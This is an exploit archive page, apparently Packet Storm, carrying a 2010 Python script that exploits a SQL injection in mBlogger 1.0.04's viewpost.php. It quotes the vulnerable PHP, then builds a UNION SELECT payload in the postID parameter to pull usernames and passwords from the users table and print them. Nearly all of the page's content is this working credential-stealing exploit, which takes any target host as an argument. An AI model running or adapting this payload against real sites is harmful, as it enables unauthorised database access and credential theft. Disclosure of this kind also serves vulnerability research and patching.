exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

mBlogger 1.0.04 SQL Injection

mBlogger 1.0.04 SQL Injection
Posted Sep 1, 2010
Authored by Ptrace Security

mBlogger version 1.0.04 remote SQL injection exploit that leverages viewpost.php.

tags | exploit, remote, php, sql injection
SHA-256 | ad67f65f9d7f20b832968beda4d86a419dbd6063e6ed35fa169828ffb2369b3e

mBlogger 1.0.04 SQL Injection

Change Mirror Download
#!/usr/bin/python
#
# Exploit Title: mBlogger v1.0.04 (viewpost.php) SQL Injection Exploit
# Date : 31 August 2010
# Author : Ptrace Security (Gianni Gnesa [gnix])
# Contact : research[at]ptrace-security[dot]com
# Software Link: http://sourceforge.net/projects/mblogger/
# Version : 1.0.04
# Tested on : EasyPHP 5.3.1.0 for Windows
#
#
# Description
# ===========
#
# + viewpost.php => SQL Injection!!
#
# 30: $query = "SELECT id, name, subject, message, posted FROM posts WHERE
# id = '$_GET[postID]'";
# 31: $result = mysql_query($query) or die(mysql_error());
# 32: while($row = mysql_fetch_array($result, MYSQL_ASSOC))
# 33: {
# 34: echo "<div class='posttitle'>";
# 35: echo "<h3>" . $row['subject'] . "</h3>";
# 36: echo "</div>";
# 37: echo "<div class='postbody'>";
# 38: echo "<p> Posted by: " . $row['name'] . " on " . $row['posted'] . "</p>";
# 39: echo "<p>" . $row['message'] . "</p>";
# 40: echo "</div>";
# 41: $postID = $row['id'];
# 42: }
#

import re
import sys
import http.client


def usage(prog):
print('Usage : ' + prog + ' <target> <path>\n')
print('Example: ' + prog + ' localhost /mBlogger/')
print(' ' + prog + ' www.target.com /complet/path/')
return


def exploit(target, path):
payload = 'viewpost.php?postID=-1%27%20UNION%20SELECT%201,%27h4x0r%27,%27'
payload += 'credentials%27,CONCAT(%27%3C1%3E%27,username,%27:%27,password,'
payload += '%27%3C2%3E%27),%20NULL%20FROM%20users%20--%20%27'

print('[+] Sending HTTP Request')
con = http.client.HTTPConnection(target)
con.request('GET', path + payload)
res = con.getresponse()

if res.status != 200:
print('[!] HTTP GET Request Failed')
exit(1)

print('[+] Parsing HTTP Response')
data = res.read().decode()
pattern = re.compile(r"<1>(.+?)<2>", re.M)

print('[+] Information Extracted:\n')
credentials = pattern.findall(data)
for element in credentials:
print(element)

return



print('\n+-----------------------------------------------------------------------------+')
print('| mBlogger v1.0.04 (viewpost.php) SQL Injection Exploit by Ptrace Security |')
print('+-----------------------------------------------------------------------------+\n')

if len(sys.argv) != 3:
usage(sys.argv[0])
else:
exploit(sys.argv[1], sys.argv[2])

exit(0)

Login or Register to add favorites

File Archive:

April 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Apr 1st
    10 Files
  • 2
    Apr 2nd
    26 Files
  • 3
    Apr 3rd
    40 Files
  • 4
    Apr 4th
    6 Files
  • 5
    Apr 5th
    26 Files
  • 6
    Apr 6th
    0 Files
  • 7
    Apr 7th
    0 Files
  • 8
    Apr 8th
    22 Files
  • 9
    Apr 9th
    14 Files
  • 10
    Apr 10th
    10 Files
  • 11
    Apr 11th
    13 Files
  • 12
    Apr 12th
    14 Files
  • 13
    Apr 13th
    0 Files
  • 14
    Apr 14th
    0 Files
  • 15
    Apr 15th
    30 Files
  • 16
    Apr 16th
    10 Files
  • 17
    Apr 17th
    22 Files
  • 18
    Apr 18th
    45 Files
  • 19
    Apr 19th
    0 Files
  • 20
    Apr 20th
    0 Files
  • 21
    Apr 21st
    0 Files
  • 22
    Apr 22nd
    0 Files
  • 23
    Apr 23rd
    0 Files
  • 24
    Apr 24th
    0 Files
  • 25
    Apr 25th
    0 Files
  • 26
    Apr 26th
    0 Files
  • 27
    Apr 27th
    0 Files
  • 28
    Apr 28th
    0 Files
  • 29
    Apr 29th
    0 Files
  • 30
    Apr 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close